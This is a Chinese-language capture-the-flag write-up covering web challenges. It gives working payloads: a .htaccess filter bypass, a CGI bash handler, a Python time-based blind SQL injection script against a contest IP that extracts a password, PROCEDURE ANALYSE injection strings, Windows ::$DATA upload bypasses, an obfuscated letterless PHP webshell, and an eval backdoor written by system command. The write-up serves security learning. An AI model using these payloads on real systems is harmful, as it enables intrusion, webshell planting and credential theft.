真是太菜了呜呜呜

check in

非预期

.htaccess文件用反斜杠绕过检测文件内容的waf

1
2
AddType application/x-httpd-ph\
p .png

预期

cgi直接执行bash脚本 https://ctftime.org/writeup/20442
.htaccess

1
2
Options +ExecCGI
AddHandler cgi-script .sh

solve.sh

1
2
3
4
5
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls -lah /
exit 0

mixture

刚开始不知道切入点在哪,114师傅发现orderby参数 加desc 有waf,感觉是有注入的,盲猜后台sql是

1
select * from users order by id $orderby

之后输入啥都没反应,这里sql句子出错的话应该是直接显示默认的内容,sleep被ban了,这里肯定有注入

1
and(select benchmark(1000000,sha(1)))

有延迟,盲注无疑了,过滤了if用case when then else end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import time
i=1
n=2
flag=""
header={"Cookie":"PHPSESSID=7ild7kaueank8skur1inhevqha"}
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
for i in range(20,21):
print(i)
m=64
j=64
for q in range(1,8):
if q!=1:
j=j/2
if n==1:
m=m+j
elif n==0:
m=m-j
m=int(m)
#exp="and(case when ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database())from({})for(1)))>{} then benchmark(100000,sha(1)) else 'b' end)".format (i,m)
#member,users
#exp="and(case when ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='member')from({})for(1)))>{} then benchmark(100000,sha(1)) else 'b' end)".format (i,m)
# id,username,password
exp="and(case when ascii(mid((select password from member limit 1)from({})for(1)))>{} then benchmark(100000,sha(1)) else 'b' end)".format (i,m)
#18a960a3a0b3594b334
url='http://49.51.251.99/member.php?orderby={}'.format(exp)
startTime=time.time()
p=requests.get(url,timeout=100,headers=header)
if time.time()-startTime>2:
n=1
else:
n=0
if q==7:
print(exp)
if time.time()-startTime>2:
flag=flag+chr(m+1)
else:
flag=flag+chr(m)
print(flag)

这里时间需要再调一下,因为刚开始服务器特别慢,后来新开的服务器挺快,原来的时间就跑不出来了
另外这里是有回显的,腹黑师傅注了出来,但是有过滤,后来还是,盲注跑了出来,不过有回显的sql没看懂,有空学学

1
2
3
4
limit 1,1 PROCEDURE ANALYSE(1);
PROCEDURE ANALYSE可以执行sql语句,可以盲注或者报错注入
LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

Hard_Pentest_1

一个文件上传,这题是window环境,检测文件后缀可以大小写绕,加 ::$DATA 绕
另外这题刚开始上传的文件访问不到,有个师傅创建了个文件夹,然后上传到创建的文件夹里就访问到了,很神奇,后来直接上传就访问到了
创建文件夹是文件名的末尾添加“::$INDEX_ALLOCATION”,创建成功之后我不知道怎么上传到这个文件夹里太菜了呜呜呜
然后是检测内容,改自p神的无字符webshell

1
2
3
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>
//$_POST[__]($_POST[_]) 然后写一个方便连接的shell
__=system&_=echo ^<?php eval($_REQUEST[a]); > a.php

后面就是域渗透,过段时间补